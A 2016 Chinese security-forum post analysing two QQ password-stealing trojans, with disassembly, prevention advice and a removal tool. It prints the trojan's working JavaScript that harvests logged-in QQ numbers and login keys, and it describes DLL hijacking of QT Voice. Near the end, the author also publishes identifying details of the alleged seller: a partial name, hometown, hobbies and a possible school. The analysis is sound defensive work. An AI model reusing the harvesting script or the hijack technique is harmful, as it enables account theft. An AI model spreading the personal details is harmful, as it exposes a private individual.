吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 21926|回复: 48
收起左侧

[PC样本分析] 两款“qq粘虫”木马分析

  [复制链接]
Hyabcd 发表于 2016-4-3 08:27
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 Hyabcd 于 2016-4-7 19:00 编辑

一、样本简介

样本来源:   http://www.52pojie.cn/thread-480487-1-1.html
                   http://www.52pojie.cn/thread-471184-1-1.html
    “qq粘虫”木马是一款以盗取qq密码为主要目的的木马程序。在2011年左右最先被发现,由于具有相当强的免杀能力被一些人称为“毒王”。“qq粘虫”的主要特点就是功能专一性极高,只进行盗号工作而不涉及其他方面,因此无法捕捉到注册表操作或者文件操作。除此之外,“qq粘虫”盗号的方式极为精巧和简洁,只通过发送数据包的方式进行盗取密码的发送,和普通的可联网的软件没有差别。近来,“qq粘虫”呈现爆发趋势,利用“白加黑”等方式的变种也出现在人们的视野中,本文章将对最近出现的几款“qq粘虫”进行分析。
    本文分析的两个样本代表两种不同的“qq粘虫”----1.盗取qq key的”qq粘虫“;2.利用”白加黑“方式的定向”qq粘虫“。如今,”qq粘虫“的易语言源码已经开源,更多的黑产从业者利用这一机会对”qq粘虫“进行改造,本文分析的”qq粘虫“基本基于相同的易语言框架。


二、样本分析

(一)盗取qq key的”qq粘虫“分析


     样本来源:   http://www.52pojie.cn/thread-480487-1-1.html
     样本名称: 123.exe
     壳信息:无壳

    该样本来自于个人作者而非黑产团伙,因此框架中的许多部分被删除,只保留两部分用来进行盗取工作,一部分用于创建伪造的qq窗口(可能为老框架下保留的功能),另一部分就是qq key的盗取部分。如下图所示。
QQ截图20160402135533.jpg
    在伪造窗口函数中运用相应的资源进行窗口的绘制,绘制出的伪造窗口如下图所示。
QQ截图20160402135734.jpg
    由于”qq粘虫“使用伪造窗口进行盗号是基于用户已经登陆qq的情况下,因此作者除了进行伪造窗口之外还进行qq key的盗取。qq key是qq一个不固定的密码,也被称为qq的另一个密码,拥有qq key可以登录相应qq的邮箱,空间等个人空间,也可以利用qq key进行好友获取,qq群管理等。一些qq批量管理软件就是利用qq key进行操作,因此qq key也被盗号者重点关注。
    盗取qq key的主要流程如下。
    首先进行COM组件的初始化,便于过后调用。
[Asm] 纯文本查看 复制代码
004020E5  |.  51            push ecx
004020E6  |.  68 78B04700   push 123.0047B078
004020EB  |.  6A 17         push 0x17
004020ED  |.  8D55 DC       lea edx,[local.9]
004020F0  |.  6A 00         push 0x0
004020F2  |.  52            push edx
004020F3  |.  FFD7          call edi                                 ;  ole32.CoCreateInstance; <&ole32.CoCreateInstance>

    然后初始化空间宿主代码
[Asm] 纯文本查看 复制代码
0041BD51   .  E8 DAFFFFFF   call 123.0041BD30
0041BD56   .  83C4 04       add esp,0x4
0041BD59   .- FFE0          jmp eax                                  ;  atl.AtlAxWinInit

    创建基于atl模版类的窗口,窗口可用于承载IE的相关组件的操作。如下图所示。
QQ截图20160402141523.jpg
    利用IE的webbrowser组件对一些相关的类进行初始化,类名包括silent,readystate等等,可以判断这些类用来指示某个状态。并根据类的不同执行不同功能。
[Asm] 纯文本查看 复制代码
00402857  |.  FF11          call dword ptr ds:[ecx]                  ;  CUnkInner::QueryInterface:
00402859  |.  85C0          test eax,eax
0040285B  |.  7D 0C         jge short 123.00402869
0040285D  |.  C745 FC FEFFF>mov [local.1],-0x2
00402864  |.  E9 D6080000   jmp 123.0040313F
00402869  |>  FF15 34234700 call dword ptr ds:[<&KERNEL32.GetUserDef>; [GetUserDefaultLCID
0040286F  |.  8BD8          mov ebx,eax
00402871  |.  8B45 EC       mov eax,[local.5]
00402874  |.  8D55 F8       lea edx,[local.2]
00402877  |.  895D AC       mov [local.21],ebx
0040287A  |.  8B08          mov ecx,dword ptr ds:[eax]               ;  shdocvw.7E55D980
0040287C  |.  52            push edx
0040287D  |.  53            push ebx
0040287E  |.  56            push esi
0040287F  |.  50            push eax
00402880  |.  FF51 10       call dword ptr ds:[ecx+0x10]             ;  CWebBrowserOC::GetTypeInfo:

QQ截图20160402144342.jpg
    利用webbrowser组件执行Javascript代码。
[Asm] 纯文本查看 复制代码
00402FF2  |.  68 D8B04700   push 123.0047B0D8
00402FF7  |.  52            push edx
00402FF8  |.  50            push eax
00402FF9  |.  FF51 18       call dword ptr ds:[ecx+0x18]             ;  CWebBrowserOC::Invoke:

    javascript代码如下。
[JavaScript] 纯文本查看 复制代码
document.body.innerHTML=GetuinKey();..
function GetuinKey(){
var text="";var q_hummerQtrl=null;var g_vOptData=null;
if(window.ActiveXObject)
{try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");
var A=q_hummerQtrl.CreateTXSSOData();
q_hummerQtrl.InitSSOFPTCtrl(0,A);
g_vOptData=q_hummerQtrl.CreateTXSSOData();
var a=q_hummerQtrl.DoOperation(1,g_vOptData);
var V=a.GetArray("PTALIST");
var f=V.GetSize();
var H=$("list_uin");
for(var g=0;g<f;g++)
{
var E=V.GetData(g);
var P=E.GetDWord("dwSSO_Account_dwAccountUin");
var U=E.GetStr("strSSO_Account_strNickName");
var G=E.GetBuf("bufST_PTLOGIN");
var A=G.GetSize();var N="";
for(var Y=0;Y<A;Y++)
{var B=G.GetAt(Y).toString("16");if(B.length==1){B="0"+B};N+=B};text+=P+'|'+U+'|'+N+';'}}catch(b){}};return text};

    这段javascript代码的作用就是获得已登录qq的号码以及相应的key。为何jiavascript可以获取本地的qq号码和qqkey呢?我们发现这个链接http://xui.ptlogin2.qq.com/cgi-bin/qlogin可以显示当前已登录的用户,而在这个网页中就存在一个用于获取这些信息的js脚本,木马程序中的js脚本也是效仿该脚本实现的,是利用了异构系统单点登录 SSO(single-sign-on)技术,见http://www.360doc.com/content/13/1018/17/6692427_322396952.shtml
    利用js脚本获取到的包含qq号和qqkey的数据如下所示。
QQ截图20160402152651.jpg
    将获取的数据用smtp协议发送到指定邮箱。
[Asm] 纯文本查看 复制代码
00401241  |.  68 8E404700   |push 123.0047408E                       ;  \r\nkey收信提示
00401246  |.  8B5D EC       |mov ebx,[local.5]
00401249  |.  FF33          |push dword ptr ds:[ebx]
0040124B  |.  68 9C404700   |push 123.0047409C                       ;  \r\nQQkey:
00401250  |.  8B5D F0       |mov ebx,[local.4]
00401253  |.  FF33          |push dword ptr ds:[ebx]
00401255  |.  68 A6404700   |push 123.004740A6                       ;  \r\n昵称:
0040125A  |.  8B5D F4       |mov ebx,[local.3]                       ;  kernel32.7C839AC0
0040125D  |.  FF33          |push dword ptr ds:[ebx]
0040125F  |.  68 AE404700   |push 123.004740AE                       ;  QQ号码:
00401264  |.  B9 07000000   |mov ecx,0x7
00401269  |.  E8 21FEFFFF   |call 123.0040108F

QQ截图20160402154028.jpg
QQ截图20160402160009.jpg
    以上就是盗取qq key的”qq粘虫“的简单分析,可以看出,该木马通过COM组件利用webbrowser接口执行特定的javascript来获取qqkey,当一个正当获取已登录qq状态的方法被恶意使用时就成了盗号的帮手。在数据的发送方式上除了使用smtp协议发送邮件的方式外还可以使用普通的http协议发包,一般情况下,黑产团伙倾向于后者,而个人作者倾向于前者。




(二)利用”白加黑“方式的定向”qq粘虫“分析

     样本来源: http://www.52pojie.cn/thread-471184-1-1.html
     样本名称: 关键词.exe
     壳信息:ThemIDA 1.x-2.x

     该木马是一款定向攻击的木马,专门针对淘宝商家。该木马伪装成刷单的关键词,实际上是一个盗取qq号的”qq粘虫“。在作用方式上,该木马区别于之前其他的”qq粘虫“,利用”白加黑“的方式,劫持qt语言的相关对话框处理的dll,当用户打开qt语音的登录框之后,输入的帐号和密码将被木马捕获发送到指定地址。以下将对该”qq粘虫“进行分析。
    木马的前半部分依然保留老版粘虫的特点,创建一个伪造的窗口。不过这些功能都没有在这个版本中实现,可能是作者利用老版框架时没有删去相关代码。从文件中可以发现一些gdi创建窗口的相关函数。
QQ截图20160402233514.jpg
    而从文件中可以提取到一些敏感图片如下所示。
QQ截图20160402233810.jpg
QQ截图20160402233826.jpg
    由此可以看出,该程序依然保留老版伪造窗口的特性,只不过在这个版本并没有启用,却而代之的是利用dll劫持的方式进行盗号操作。
    程序在c盘中释放XDS27ELP.ini,主要功能由它来执行,其实这个ini文件的本质是dll,主程序将对它进行动态调用。
QQ截图20160402234744.jpg
    打开注册表键HKLM\SOFTWARE\Tencent\QT,判断计算机中是否存在qt语音。
[Asm] 纯文本查看 复制代码
029CDFE1    52              push edx
029CDFE2    68 19000200     push 0x20019
029CDFE7    57              push edi
029CDFE8    50              push eax ;[size=2]SOFTWARE\Tencent\QT[/size]
029CDFE9    51              push ecx  ;[size=2]HKLM[/size]
029CDFEA    FF15 0C60A502   call dword ptr ds:[<&ADVAPI32.RegOpenKey>; advapi32.RegOpenKeyExA

    查看该键isntall键,判断qt语音是否已经安装。如果已经安装,则读该键键值获得安装路径。
[Asm] 纯文本查看 复制代码
029CE00D    52              push edx
029CE00E    8B5424 14       mov edx,dword ptr ss:[esp+0x14]
029CE012    57              push edi
029CE013    50              push eax
029CE014    57              push edi
029CE015    51              push ecx                                 ;”install“
029CE016    52              push edx
029CE017    89BC24 9C000000 mov dword ptr ss:[esp+0x9C],edi
029CE01E    FFD3            call ebx                                 ; advapi32.RegQueryValueExA

    获得安装路径后,将路径下的DataReport.dll修改为以old+随机数为名的文件,并用自身(XDS27ELP.ini)替换旧的dll。
[Asm] 纯文本查看 复制代码
029CCD39    51              push ecx ;[size=2]修改后的路径和名称[/size]
029CCD3A    52              push edx ;[size=2]DataReport.dll路径[/size]
029CCD3B    FF15 6063A502   call dword ptr ds:[<&KERNEL32.MoveFileA>>; kernel32.MoveFileA
[Asm] 纯文本查看 复制代码
029CCD39    51              push ecx ;[size=2]DataReport.dll路径[/size]
029CCD3A    52              push edx ;自身路径
029CCD3B    FF15 6063A502   call dword ptr ds:[<&KERNEL32.MoveFileA>>; kernel32.MoveFileA

    在伪造的dll中,无关的导出函数已经被清空,只保留一些与登录相关的函数。
QQ截图20160403000623.jpg
    由于qt的登录操作需要该dll,因此帐号密码的输入也被定向到该dll中。dll调用GetWindowText获取输入框的内容,从而窃取到用户帐号和密码。
QQ截图20160403000832.jpg
    然后将帐号和密码发送到指定服务器。
QQ截图20160403001456.jpg            

    最后打开写字板,显示一些刷单信息,让受害者信以为真。
QQ截图20160403081903.jpg
QQ截图20160403081229.jpg
    通过对该域名的whois查询可得知木马持有者qq号码。

QQ截图20160403001917.jpg
    通过查找群关系可以得知该号码主人来自福建省漳州市云霄县。除了此号码外总共有三个号码进行木马销售,其中有一个号码是通过盗号所得。
QQ截图20160403002301.jpg
    通过深入调查得知木马持有者姓名为朱某荣,酷爱重型机车,在贴吧上频繁进行重型机车的交易请求,活动范围在福建漳州,可能为某茶艺学校13级毕业生。下图为他的腾讯微博。
QQ截图20160403002621.jpg
    而从网上的信息可以看出该作者已经实施过多起盗号诈骗,目标都是淘宝卖家。可以看出这是个小型的黑产团伙。 QQ截图20160403080935.jpg
QQ截图20160403081056.jpg



三、总结及相关防范
”qq粘虫“木马由于作用简单,功能专一,隐蔽性高,对系统敏感函数没有进行调用,因此容易被杀软忽视。为了防止”qq粘虫“盗取帐号密码,最好的方法是增强自身的防范意识,对于以exe为后缀,冠以诸如某某清单,某某价格表之类的伪造文件应该加以防范而不能随意双击,若文件类型被隐藏可通过修改文件夹选项中相应内容(如图)来得知真实的文件类型。
QQ截图20160403082446.jpg



四、后续

qq粘虫专杀工具已完成,专门针对传统版本伪造qq登陆窗口的qq粘虫。附件密码:52pojie

   
































qq粘虫专杀工具win7及以上.rar

81 KB, 下载次数: 36, 下载积分: 吾爱币 -1 CB

qq粘虫专杀工具XP.rar

81.18 KB, 下载次数: 10, 下载积分: 吾爱币 -1 CB

免费评分

参与人数 22热心值 +22 收起 理由
叨叨叨『叨哥』 + 1 谢谢@Thanks!为广大网友服务。赞。
莫奇 + 1 厉害啊 加分
@崇崇 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩.
z123321131 + 1 分析很是透彻,膜拜中
康小泡 + 1 热心回复!
天蝎浪花 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩.
Chieh + 1 谢谢@Thanks!
逝晓风 + 1 用心讨论,共获提升!
yuluo5566 + 1 我很赞同!
我们要作死 + 1 我很赞同!
myqqq + 1 大牛厉害
Super.夏 + 1 我很赞同!
翼风Fly + 1 必须来支持~
老虎i + 1 我很赞同!
1792594310 + 1 谢谢@Thanks!
赖哥 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩.
ygh2000year + 1 谢谢@Thanks!
C-FBI-QM + 1 嘿嘿,队友前来支持
【=筱筱=】 + 1 啊~已经飙到极限啦~
hyiok123 + 1 我很赞同!
新手张浩 + 1 我很赞同!
我是一个小白 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

翼风Fly 发表于 2016-4-3 22:50
Hyabcd 发表于 2016-4-3 22:06
像这种盗取qq key的也是很难解决,因为TX那边也需要这样来获取号码的登陆情况,只能说以后遇到相关的行为 ...

这大概也是tx在用户体验与突破沙箱及安全考虑上的平衡吧。。。。。
话说,Chrome和Firefox不是放弃古老的NPAPI以及XPCOM了吗(Chrome45后彻底永久放弃),那篇文章是不是有点过时了。。。?
在Chrom45以下进入chrome://plugins/,可见到:
Tencent SSO Platform - 版本: 1.0.1.16
QQ QuickLogin Helper
名字:        Tencent SSO Platform
说明:        QQ QuickLogin Helper
版本:        1.0.1.16
位置:        C:\Program Files (x86)\Common Files\Tencent\TXSSO\1.2.4.1\Bin\npSSOAxCtrlForPTLogin.dll
类型:        NPAPI
MIME 类型:       
MIME 类型        说明        文件扩展名
application/nptxsso        TXSSO       
Chrome46输入chrome://plugins/,在我的Win10下只有这几项:
Widevine Content Decryption Module - 版本: 1.4.8.824
类型:        PPAPI(进程外插件)
Native Client
类型:        PPAPI(进程中插件)

Adobe Flash Player - 版本: 20.0.0.286
Shockwave Flash 20.0 r0
类型:        PPAPI(进程外插件)

Chrome PDF Viewer (2 files)
类型:        浏览器插件
类型:        PPAPI(进程外插件)
还没仔细看TX的代码,不太清楚是如何在46以上绕开沙箱正常使用自动登陆的
也许Chrome、FireFox、Edge在技术上的推动也可以一定程度上缓解这个问题吧
粘虫应该会紧跟利用TX绕开沙箱的举措,技术上的推进可能只是会让当前开源的粘虫版本失效吧。问题的来源与解决还是要看TX了
呃。。。毕竟在这方面是小白,难免扯错。。。

 楼主| Hyabcd 发表于 2016-4-15 12:45
dingk 发表于 2016-4-15 10:13
分析的很好啊,我去年写过特征码去拦截这个了。但是最近有混淆过的JS还在流行,总也查杀不净,不知你可有建 ...

感觉混淆js盗取qqkey不是很好处理,,因为腾讯那边也有好多软件在用相同的方法获取qqkey,如果按这特征容易误报,我感觉这一类的基本用易语言写的,暂时还没发现其他的,如果对调用这方法的软件进行甄别,看是不是存在易语言的特征,如果是的话进行查杀。我能想到的就这了,感觉也不是很好。
az523673773 发表于 2016-4-3 08:42
我是一个小白 发表于 2016-4-3 08:43
分析很详细容易看懂
hyiok123 发表于 2016-4-3 08:54
感谢分享,学习了
101328236 发表于 2016-4-3 09:05
看不懂。。。。。
此处有人 发表于 2016-4-3 09:20
感觉然并卵
楚轩 发表于 2016-4-3 09:40
火前留名
scarletF 发表于 2016-4-3 09:45
功能少比较难查
mmaaiiooo 发表于 2016-4-3 09:55
好详细的分析,值得赞一个
丶小明 发表于 2016-4-3 10:16 来自手机
谢谢楼主分享,学习长知识了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-26 22:28

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表